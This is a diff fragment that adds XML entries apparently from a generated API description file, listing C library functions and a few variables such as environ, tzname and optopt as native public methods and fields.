+ <method abstract="false" deprecated="not deprecated" final="true" name="sem_wait" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="rand" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcscoll_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__fpurge" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strtoull_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sysinfo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="times" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="madvise" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lseek" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__pwrite64_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getopt_long_only" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="nl_langinfo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="tzname" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__isnormalf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__system_property_serial" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fputws" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gets" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sched_rr_get_interval" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sched_getscheduler" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcscat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cfsetspeed" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fscanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="exit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__isnormall" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="poll" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lsetxattr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ns_name_pack" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_sigmask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tempnam" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sched_getparam" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="select" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="epoll_wait" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_condattr_setclock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getpeername" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="siginterrupt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strtold" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__res_hnok" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_getguardsize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sendfile64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="arc4random_buf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="swscanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="telldir" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_join" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlockattr_getpshared" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="asctime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strtoll" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="c16rtomb" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fstatat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="memcmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="syslog" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mount" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iscntrl_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__sym_ston" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fwide" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__hostalias" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="srand" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="optopt" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sbrk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setegid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getline" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ntohl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_cond_signal" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="connect" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="duplocale" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="memalign" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__strrchr_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="putc_unlocked" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="endutent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="listxattr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ntohs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="semget" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getgrent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswspace_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pipe2" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getresgid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_once" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mincore" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="nrand48" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pwritev64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlock_timedrdlock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_mutex_timedlock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_getschedpolicy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ptsname_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="alphasort64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="nftw" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pread" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getsubopt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strpbrk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswpunct" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vsprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inotify_rm_watch" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sigaltstack" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fallocate64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="towlower_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="send" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="scandirat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__system_property_read_callback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mkostemp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__isnanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fdatasync" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="seekdir" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="hstrerror" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isfinitef" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="process_vm_writev" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__errno" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__isnanl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="clock_getcpuclockid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="shmctl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strxfrm_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="timer_settime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="towupper" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lldiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isfinitel" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="dirfd" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_equal" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sigismember" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vwscanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__p_type" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__fbufsize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_setschedpolicy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__p_time" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lutimes" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inet_nsap_ntoa" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="dprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mblen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strcoll_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__sched_cpufree" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ctermid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="semtimedop" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sscanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="msgrcv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isxdigit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mbrtowc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="toupper" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fchdir" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sem_post" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="usleep" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="towupper_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getnameinfo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__openat_2" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getwc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isupper" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sigtimedwait" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wctrans_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="uname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strtold_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__fpclassify" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isgraph_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="unsetenv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="waitid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mkostemps" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ctime_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="imaxdiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="splice" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="waitpid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="environ" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strtoimax" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ferror_unlocked" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="truncate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vscanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="capset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isblank" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="time" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__res_hostalias" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wait4" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ns_makecanon" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fstatat64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="posix_fallocate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strerror_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wait" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getgrnam" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="rename" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcstold" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="memcpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ns_format_ttl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strerror_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="clock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strxfrm" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="recvfrom" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eventfd" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strchr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcstoll" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="dup2" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mbsrtowcs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="openat64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="basename" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="dup3" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__memrchr_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getc_unlocked" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcsncasecmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fstat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mlockall" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="posix_madvise" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="timer_gettime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wmemmove" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="__p_type_syms" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ioctl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="flockfile" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setgid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strcasecmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strlcat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="swprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sysconf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="open_memstream" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lsearch" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_key_create" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fgetxattr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__fp_query" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fchown" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vmsplice" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="system" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ferror" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pselect" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__res_ownok" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__strlcpy_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="putwc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcspbrk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eventfd_write" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__res_queriesmatch" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sched_get_priority_min" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="statfs64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="unshare" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ns_get16" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fstatfs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="renameat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tolower_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fpathconf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__FD_SET_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getpgid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_cond_destroy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getifaddrs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="scanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ns_sprintrr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sync" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ns_samename" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strftime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__cxa_finalize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="closelog" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strsignal" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__get_h_errno" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="regexec" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="div" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getgrnam_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__fwrite_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
